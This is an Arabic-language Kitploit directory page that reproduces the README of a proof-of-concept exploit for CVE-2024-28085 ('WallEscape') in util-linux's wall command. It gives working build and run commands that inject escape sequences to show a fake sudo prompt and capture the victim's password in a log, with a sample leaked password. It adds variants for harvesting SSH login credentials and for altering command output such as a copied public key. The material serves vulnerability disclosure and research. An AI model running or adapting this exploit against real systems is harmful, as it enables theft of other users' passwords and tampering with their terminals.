Skip to content
KitploitKITPLOIT
أدواتالمدونة
Log in
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2024-28085 — ثغرة WallEscape في util-linux | Kitploit
أدوات/GitHubGitHub/skyler-ferrante/cve-2024-28085
تصعيد الامتيازاتهجمات كلمات المرورالاستغلالما بعد الاستغلالالهندسة الاجتماعيةالفريق الأحمر
GitHubskyler-ferrante/cve-2024-28085

CVE-2024-28085

ثغرة WallEscape في util-linux

عرض المستودع
56857منذ 2 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
الموقع الإلكتروني

Wall-Escape (CVE-2024-28085)

لا يقوم أمر wall في util-linux بتصفية تسلسلات الهروب من وسائط سطر الأوامر. تم إدخال الكود المعرض للخطر في commit cdd3cc7fa4 (2013). كل إصدار منذ ذلك الحين معرض للخطر. يمكن العثور على تقرير كامل هنا. لقد أطلقت على هذا الخطأ اسم "WallEscape".

كان كود الاستغلال هذا ناجحًا في تسريب كلمات المرور على Ubuntu 22.04 مع التكوينات الافتراضية.

الإعداد

تأكد من ضبط لون الخلفية واسم المستخدم على قيم مناسبة في throw.c.

البناء والتشغيل

إعداد الهجوم

git clone https://github.com/skyler-ferrante/CVE-2024-28085.git
./build.sh
./spy > proc.log & ./watch "sudo systemctl start apache2"; ./watch "systemctl start apache2"; sleep .01; ./throw

استخدمت sudo systemctl start apache2 لأنه قصير المدة دون الكثير من المخرجات. تأكد من إنهاء spy بعد تشغيل الاستغلال: pkill spy.

ثم في طرفية أخرى

sudo su
sudo systemctl start apache2

قد لا يكون من الضروري أن يستدعي الضحية su اعتمادًا على النظام، وما إذا كان الوصول محليًا أم عبر ssh.

يجب أن يتسبب هذا في ظهور موجه sudo المزيف في طرفية الضحية. نظرًا لأن العديد من الأنظمة تسرّب الأوامر غير الموجودة، فقد تظهر كلمة مرور الضحية في proc.log.

مثال على proc.log

sudo systemctl start apache2
systemctl start apache2
./throw
bash
/usr/bin/python3 /usr/lib/command-not-found -- Password123!
/usr/bin/snap advise-snap --format=json --command Password123!

ملاحظة

لقد أساء بعض الأشخاص فهم السيناريوهات التي يمكن فيها استخدام هذا لمهاجمة مستخدم آخر. لا نحتاج إلى مهاجمة sudo، يمكننا الهجوم في أي مكان يُدخل فيه المستخدم كلمة المرور الخاصة به. على نظامي، بعد تسجيل دخول المستخدم باستخدام OpenSSH، يتم تشغيل الأمر /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new.

لتسريب كلمات المرور من مستخدمي Openssh، تخيل تشغيل ما يلي:

./watch "sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new"; sleep 1; ./throw

يمكننا بعد ذلك إرسال رسالة "كلمة المرور غير صحيحة" بعد أن يتمكن المستخدم من تسجيل الدخول بشكل صحيح عبر SSH. كانت sudo مجرد الأمر الذي اخترته للعرض التجريبي، ولكن هناك العديد من الأهداف المحتملة. ليس من الصعب تخيل مهاجم يقوم بإعداد حصّاد بيانات الاعتماد، لجمع بيانات اعتماد كل مستخدم يسجل الدخول باستخدام SSH. هذا ممكن حتى من أكثر المستخدمين غير المميزين، مثل www-data.

تمنح هذه الثغرة الأمنية أيضًا المهاجمين القدرة على تغيير مخرجات أي أمر. تخيل أننا انتظرنا تنفيذ الأمر cat ~/.ssh/id_rsa.pub. يمكن للمهاجم تغيير ما ينسخه المستخدم لمفتاحه العام. في هذا النمط من الهجوم، لا نحتاج إلى وسيلة تسريب بدائية للأوامر غير الموجودة.

تنزيل الأداة